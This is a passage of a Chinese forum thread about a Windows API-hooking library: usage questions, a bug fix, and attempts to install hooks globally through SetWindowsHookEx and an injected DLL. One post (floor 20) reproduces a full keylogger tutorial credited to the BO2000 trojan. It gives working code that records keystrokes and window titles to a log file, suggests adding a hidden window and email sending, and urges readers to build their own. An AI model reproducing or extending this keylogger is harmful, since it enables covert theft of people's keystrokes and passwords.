能力值:
( LV13,RANK:1050 )
2 楼
沙发学习
能力值:
( LV2,RANK:10 )
3 楼
好东西,收藏了
能力值:
( LV2,RANK:10 )
4 楼
感谢楼主的改进,请问以下几个问题.
1.也就是说现在可以针对同一个函数在调用前后HOOK了?
那以前的SetOnBefore和SetOnAfter是不是还同时保留?
譬如下面的代码:
int main()
{
if(!SetOnBefore("Kernel3.dll","DeviceIoControl",DeviceIoControl_Before))
::MessageBox(0,"Before","error",0);;
if(!SetOnAfter("Kernel32.dll","DeviceIoControl",DeviceIoControl_After))
::MessageBox(0,"After","error",0);
DeviceIoControl(0,0,0,0,0,0,0,0);
return 0;
}
现在是不是只需要pHookEnv = InstallHookApi("Kernel32.dll", "DeviceIoControl", My_LoadLibraryA);就可以了?
2.HOOK的函数只对本exe的进程空间有效???
3.压缩包里提供的hooklib.lib文件是干什么的?如何使用?
能力值:
( LV2,RANK:10 )
5 楼
4.楼主你的卸载函数是不是有点问题?
BOOL __stdcall UnInstallHookApi(PHOOKENVIRONMENT pHookEnv)
{
DWORD oldpro;
DWORD RetSize;
//如果内存不存在了,则退出
if(IsBadReadPtr((const void*)pHookEnv,sizeof(HOOKENVIRONMENT)))
return FALSE;
if(!VirtualProtect(pHookEnv->OrgApiAddr,pHookEnv->SizeOfReplaceCode,PAGE_EXECUTE_READWRITE,&oldpro))
return FALSE;
WriteProcessMemory(GetCurrentProcess(),pHookEnv->OrgApiAddr,pHookEnv->savebytes,pHookEnv->SizeOfReplaceCode,&RetSize);
if(!VirtualProtect(pHookEnv->OrgApiAddr,pHookEnv->SizeOfReplaceCode,oldpro,&oldpro))
return FALSE;
VirtualFree((LPVOID)pHookEnv,0,MEM_RELEASE);
return TRUE;//少了这句了吧?
}
5.如何用你的这些代码去log一个程序(譬如这个程序包括a.exe和b.dll)中的DeviceIOContorl的调用?能举个例子吗?
能力值:
(RANK:1130 )
6 楼
先说第4个问题,是个小BUG,我忘记加上了,后面要加一句return TRUE;
第3个问题,是个编译好的静态链接库,压缩包里面有源代码,可以直接忽略
第2个问题,是的,只对本进程有效,如果要全局,可以写一个dll全局注入即可
第一个问题
SetOnBefore的意思是在调用api前先执行指定的hookproc
SetOnAfter的意思是在调用完api后执行指定的hookproc
现在已经去掉了上面2个过程,直接指定一个hookproc
pHookEnv = InstallHookApi("Kernel32.dll", "DeviceIoControl", My_DeviceIoControl);
然后声明一下,详见一下说明
typedef BOOL (WINAPI __pfnDeviceIoControl)(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
BOOL WINAPI My_DeviceIoControl(
DWORD RetAddr,
__pfnDeviceIoControl pfnDeviceIoControl,
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
这时候,你的My_DeviceIoControl可以灵活地自己调用原始的DeviceIoControl这个过程
★★注意:
1,如果在HookProc中自己不调用API(pfnXXXXX()),那么返回后,Stub是不会调用的,切记!
2,当HookProc中使用UnInstallHookApi卸载完后就不能用第二个参数来调用API了(pfnXXXX()),切记!
用法如下:
BOOL WINAPI My_DeviceIoControl(
DWORD RetAddr,
__pfnDeviceIoControl pfnDeviceIoControl,
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
)
{
...
if (XXXX)
{
...
pfnDeviceIoControl(XXXXXXX);
...
}
...
return xxx;
}
如果想实现SetOnBefore,就在自己的hookproc最后调用pfnDeviceIoControl,比如
BOOL WINAPI My_DeviceIoControl(
DWORD RetAddr,
__pfnDeviceIoControl pfnDeviceIoControl,
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
)
{
...
if (XXXX)
{
...
}
...
return pfnDeviceIoControl(hDevice,dwIoControlCode,lpInBuffer,nInBufferSize,lpOutBuffer,nOutBufferSize,lpBytesReturned,lpOverlapped);
}
如果想实现SetOnAfter,那么就先调用pfnDeviceIoControl,然后再写自己的代码
BOOL WINAPI My_DeviceIoControl(
DWORD RetAddr,
__pfnDeviceIoControl pfnDeviceIoControl,
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
)
{
DWORD dwRet;
dwRet = pfnDeviceIoControl(hDevice,dwIoControlCode,lpInBuffer,nInBufferSize,lpOutBuffer,nOutBufferSize,lpBytesReturned,lpOverlapped);
if (XXXX)
{
...
}
...
return dwRet;
}
当然也可以放在中间调用
你可以在自己的My_DevideIoControl里面判断返回地址是不是在某个模块中,然后记录下需要记录的参数
上面看完后第5个问题应该没什么难度了吧
能力值:
( LV2,RANK:10 )
7 楼
非常感谢楼主的解答!!! 呵呵,由于本人是初学编程,所以对你说说的"DLL全局注入"的意思不太明白,能否解答一二?
你的这些代码可以归纳为两个接口,-----HOoK和UnHook-------,可是全局注入我真不懂,
★★注意: 1,如果在HookProc中自己不调用API(pfnXXXXX()),那么返回后,Stub是不会调用的,切记! 2,当HookProc中使用UnInstallHookApi卸载完后就不能用第二个参数来调用API了(pfnXXXX()),切记!
1的解释我明白,就是如果不自己主动调用原来的函数执行的话,就相当于拦截原来的API调用了.
2就有点不明白了,看你的例子,我编译以后用OD跟踪跑了一遍,也没有发现什么错误啊?为什么你特别强调这点呢?
我自己看明白了,以为是在HookProc中UnHook以后就不能再次UnHook呢,原来是不能用第二个参数来调用原来的API,那当然了,你UnHook了以后那块地址就无效了吧?呵呵
能力值:
(RANK:1130 )
8 楼
用SetWindowHookEx挂钩子,搜一下MSDN吧
能力值:
( LV2,RANK:10 )
9 楼
你可以在自己的My_DevideIoControl里面判断返回地址是不是在某个模块中,然后记录下需要记录的参数
原来DWORD RetAddr这个参数是起这个作用的,呵呵,楼主真有心!!!学习了不少,今天收获很大很大,解决了我长久以来的一些疑问.
但是问题又来了,exe的基址一般都是0x400000,,这样是没有办法区别的,对吧?
我觉得应该在HOOKPROC函数里面首先GetModuleFileName获取此刻调用此HOOK的API的名称比较合适,楼主觉得如何?
能力值:
( LV2,RANK:10 )
10 楼
给点思路,我英文不好,我计划用你代码写一个下面的工具~~
上传的附件:
能力值:
(RANK:1130 )
11 楼
。。。。。。。。。。。。。。。。。。。。。
剩下的代码就仁者见仁,智者见智了
能力值:
( LV2,RANK:10 )
12 楼
再次感谢你的努力和奉献,我这几天抽时间鼓捣一下,一旦有成果,首先给你发一份,并且在首要位置注明是采用你的APIHOOK代码,呵呵,可否留个EMail??我的caocunt@163.com.
能力值:
(RANK:1130 )
13 楼
/*
//////////////////////////////////////////////////////////////////////////
HookApi 0.5
thanks to xIkUg ,sucsor
by 海风月影[RCT] , eIcn#live.cn
2008.04.15
能力值:
( LV2,RANK:10 )
14 楼
[QUOTE=海风月影;441989]/*
//////////////////////////////////////////////////////////////////////////
HookApi 0.5
thanks to xIkUg ,sucsor
by 海风月影[RCT] , eIcn#live.cn
...[/QUOTE]
光顾欣喜的看代码了,呵呵,看来你这个信箱也是你的MSN咯?
能力值:
( LV2,RANK:10 )
15 楼
支持海风大虾啊。。。
能力值:
( LV2,RANK:10 )
16 楼
还是不会用这个函数挂钩,看我下面的代码,是一个对话框程序,我没有按照Hook必须写dll的规矩.不知道哪里出错了,运行点击确定按钮第一次,会弹出111对话框,说明HookApi执行了,但是222没有没有出现,只有再次点击确定按钮,才会出现.但是此时用OD打开别的程序,hook的那个函数并没有改变,请楼主赐教!
void CHookApiAppDlg::OnOK()
{
// 初始化挂钩函数
g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),//这是把exe本身作为挂钩函数的模块 0);
if (!g_hHook)
{
MessageBoxA("SetHook Error!",0,0);
}
if (pHookEnv)
{
MessageBoxA("2222!!!","Very Good!!",MB_ICONINFORMATION);
}
}
void CHookApiAppDlg::OnDestroy()
{
CDialog::OnDestroy();
// 卸载挂钩函数
if (g_hHook)
{
UnhookWindowsHookEx(g_hHook);
}
}
void CHookApiAppDlg::OnCancel()
{
BOOL bRet = UnInstallHookApi(pHookEnv);
if (bRet)
{
::MessageBoxA(NULL,"UnInstall Success!!!","Good!!",MB_ICONINFORMATION);
}
CDialog::OnOK();
} LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
// 安装ApiHook
if (!pHookEnv)
{ pHookEnv = InstallHookApi("Kernel32.dll", "LoadLibraryA", My_LoadLibraryA);
if (pHookEnv)
{
::MessageBoxA(NULL,"1111111","Very Good!!",MB_ICONINFORMATION);
}
}
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
能力值:
( LV2,RANK:10 )
17 楼
是用SetWindowsHookEx来安装全局钩子,但是钩子也有很多类型,不是所有的都是用这个记录钩子WH_JOURNALRECORD
GetModuleHandle(NULL),//这是把exe本身作为挂钩函数的模块0,
不是所有的全局钩子都能用GetModuleHandle(NULL)来把自身作为一个保存钩子处理函数的dll,只似乎有为数不多的2,3个键盘,鼠标相关的钩子可以
很遗憾,这里你没有达到全局hook的效果,呵呵
能力值:
( LV2,RANK:10 )
18 楼
那请问该如何操作呢?前提是不采用dll.
以下是MSDN的钩子类型
Hook Scope
WH_CALLWNDPROC Thread or global
WH_CALLWNDPROCRET Thread or global
WH_CBT Thread or global
WH_DEBUG Thread or global
WH_FOREGROUNDIDLE Thread or global
WH_GETMESSAGE Thread or global
WH_JOURNALPLAYBACK Global only
WH_JOURNALRECORD Global only
WH_KEYBOARD Thread or global
WH_KEYBOARD_LL Global only
WH_MOUSE Thread or global
WH_MOUSE_LL Global only
WH_MSGFILTER Thread or global
WH_SHELL Thread or global
WH_SYSMSGFILTER Global only
能力值:
( LV2,RANK:10 )
19 楼
WH_GETMESSAGE啊,楼上的兄弟,另外你要实现的全局钩子要写在DLL里
能力值:
( LV2,RANK:10 )
20 楼
我们Windows系统是建立在消息传递的事件驱动的机制上。用钩子可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。键盘记录者的原理就是使用键盘钩子截获键盘消息。当然,并非键盘记录一定要使用钩子,比如WinEggDrop的无钩子键盘记录者。
一般书上都会说:“全局钩子函数必须包含在DLL中,而线程专用钩子还可以包含在可执行文件中”。即如果钩子过程在应用程序中实现,只对该程序起作用;如果钩子过程在DLL中实现,程序在运行中动态调用它,它能对整个系统进行监控。我们做键盘记录当然希望是针对整个系统的了,所以我们发现很多键盘记录者或者带键盘记录功能的木马服务端里都包含用来支持键盘记录的DLL文件。多了DLL文件既增加了程序的体积,也容易因为丢了DLL文件而丧失了键盘记录的功能。本文要讲的是,并非全局键盘钩子一定要在DLL文件中实现,程序中亦可以实现全局钩子。本文的方法来自著名木马BO2000,下面将会向大家详细解说如何实现既使用键盘钩子而又无DLL键盘记录者。
先说点基础知识。实现一个键盘钩子,必须调用API函数SetWindowsHookEx来安装这个钩子函数,这个函数的原型为:HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);其中,第一个参数是钩子的类型;第二个参数是钩子函数的地址;第三个参数是包含钩子函数的模块句柄;第四个参数指定监视的线程。我们要实现一个全局钩子,所以第四个参数需设置为空。得到控制权的钩子函数在完成对消息的处理后,调用API函数CallNextHookEx来传递该消息。关于钩子的详细介绍读者可参考其它书籍。
本文使用的编程工具为VC++6.0。具体实现步骤和代码解析如下:
1、生成一个基于对话框的程序SEUKBSpy。打开SEUKBSpyDlg.cpp文件。加入下面的全局变量和键盘钩子函数。
HHOOK g_hHook = NULL; //全局钩子函数句柄
HWND g_hLastFocus = NULL; //活动窗体句柄
//键盘钩子函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
FILE* out;
SYSTEMTIME sysTm;
::GetLocalTime(&sysTm);
int m_nYear = sysTm.wYear;
int m_nMonth = sysTm.wMonth;
int m_nDay = sysTm.wDay;
char filename[100];//保存文件名
sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);
if(nCode<0)
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt->message==WM_KEYDOWN)//判断是否是击键消息
{
DWORD dwCount;
char svBuffer[256];
int vKey,nScan;
vKey=LOBYTE(pEvt->paramL);
nScan=HIBYTE(pEvt->paramL);//扫描码
nScan<<=16;
//检查当前窗口焦点是否改变
HWND hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus)
{//保存窗口标题到文件中
char svTitle[256];
int nCount;
nCount=GetWindowText(hFocus,svTitle,256);
if(nCount>0)
{
out=fopen(filename,"a+");
fprintf(out,"\r\n-----活动窗口[%s]-----\r\n",svTitle);
fclose(out);
}
g_hLastFocus=hFocus;
}
// Write out key
dwCount=GetKeyNameText(nScan,svBuffer,256);
if(dwCount)//如果所击键在虚拟键表之中
{
if(vKey==VK_SPACE)
{
svBuffer[0]=' ';
svBuffer[1]='\0';
dwCount=1;
}
if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件
{
BYTE kbuf[256];
WORD ch;
int chcount;
GetKeyboardState(kbuf);
chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
/*根据当前的扫描码和键盘信息,将一个虚拟键转换成ASCII字符*/
if(chcount>0)
{
out=fopen(filename,"a+");
fprintf(out,"%c",char(ch));
fclose(out);
}
}
else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件
{
out=fopen(filename,"a+");
fprintf(out,"[%s]",svBuffer);
fclose(out);
if(vKey==VK_RETURN)//回车
{
out=fopen(filename,"a+");
fprintf(out,"\r\n");
fclose(out);
}
}
}
}
}
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
2、下面是本程序的精华所在。添加按钮[开始记录]及其响应函数OnStart()并在该函数中卸载钩子:
void CSEUKBSpyDlg::OnStart()
{
g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);
}这里用GetModuleHandle(NULL)来把自身作为一个保存钩子处理函数的dll,非常巧妙实用,也是这个本程序的精华所在。
3、添加按钮[开始记录]及其响应函数OnStop()并在该函数中卸载钩子:
void CSEUKBSpyDlg::OnStop()
{
if(g_hHook)
UnhookWindowsHookEx(g_hHook);
}
通过上面几步就可以实现一个无DLL文件的键盘记录者,测试一下就可以得到类似于“SEU_2006_5_3.log”文件名的键盘记录日志文件。再加上隐藏窗口和邮件发送功能是不是就成了一个很实用的键盘记录者?赶快动手打造自己的键盘记录者吧。
能力值:
( LV2,RANK:10 )
21 楼
好代码,辛苦了
能力值:
( LV2,RANK:10 )
22 楼
稍微崇拜下呀 呵呵 我也是新手 可惜没楼主这么厉害 呵呵 学习下
能力值:
( LV2,RANK:10 )
23 楼
HOOK的实质,是强行让被HOOK的程序动态加载包含回调函数的那个模块,使该模块能够被被HOOK程序访问(回调);
又因为“动态加载”的只能是DLL(你可以访问到一个EXE程序的某个函数,但没有办法把该EXE程序作为一个模块ATTACH到被HOOK的程序中),所以才说,全局的钩子都必须以DLL形式存在。
对于HOOK自身程序,把被HOOK模块句柄设置成0,只是告诉程序,回调函数已经在自身的地址空间,不需要加载外部的模块。
不知道这么说,能不能回答到 caocunt 朋友“采不采用DLL”的问题
能力值:
( LV2,RANK:10 )
24 楼
请注意,你还是没有测试!并不需要DLL才能HOOK别的程序的键盘输入的.
看我贴的那段代码,编译成exe以后可以log大多数的程序的键盘输入,所以说明此刻SetWindowsHookEx成功执行,功能也正常.
我现在的问题是把楼主的这些APIHOOK的代码想让它在所有模块中有效,请问该如何处理?
能力值:
( LV2,RANK:10 )
25 楼
写在DLL里面也无法全局hook... 以下是DLL中的代码
#include "stdafx.h"
HANDLE handle = NULL;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
handle = hModule;
return TRUE;
}
HHOOK g_hHook = NULL; //全局钩子函数句柄
PHOOKENVIRONMENT pHookEnv = 0;
BOOL IsMe = FALSE;
//先定义一下要hook的WINAPI
typedef HMODULE (WINAPI __pfnLoadLibraryA)(LPCTSTR lpFileName);
HMODULE WINAPI My_LoadLibraryA(DWORD RetAddr,
__pfnLoadLibraryA pfnLoadLibraryA,
LPCTSTR lpFileName
)
{
HMODULE hLib;
//需要自己处理重入和线程安全问题
if (!IsMe)
{
IsMe = TRUE;
// MessageBox(NULL,lpFileName,TEXT("test"),MB_ICONINFORMATION);
hLib = LoadLibrary(lpFileName);//这里调用的是系统的,已经被hook过的
IsMe = FALSE;
// //这里是卸载Hook,这里卸载完就不能用pfnLoadLibraryA来调用了
// UnInstallHookApi((PHOOKENVIRONMENT)pfnLoadLibraryA);
return hLib;
}
return pfnLoadLibraryA(lpFileName);//这里调用非hook的
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
// 安装ApiHook
if (!pHookEnv)
{
pHookEnv = InstallHookApi("Kernel32.dll", "LoadLibraryA", My_LoadLibraryA);
if (pHookEnv)
{
::MessageBoxA(NULL,"1111111","Very Good!!",MB_ICONINFORMATION);
}
}
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
__declspec(dllexport) BOOL WINAPI InstallHook()
{
// 初始化挂钩函数
g_hHook=SetWindowsHookEx(3,KeyboardProc,(HINSTANCE)handle,0);
if (!g_hHook)
{
return FALSE;
}
return TRUE;
}
__declspec(dllexport) BOOL WINAPI UnHook()
{
if (g_hHook)
{
return UnhookWindowsHookEx(g_hHook);
}
return FALSE;
}
以下是exe中的代码
void CHookApiAppDlg::OnOK()
{
_asm cpuid
__pfnInstallHook InstallHook;
HINSTANCE hinstLib = LoadLibrary("fit_crk.dll");
InstallHook = (__pfnInstallHook)GetProcAddress(hinstLib,"InstallHook");
BOOL bRet = InstallHook();//[B][COLOR="Red"]用OD运行到此,发觉没有HOOK掉那个函数,但是返回是1[/COLOR][/B]
FreeLibrary(hinstLib);
}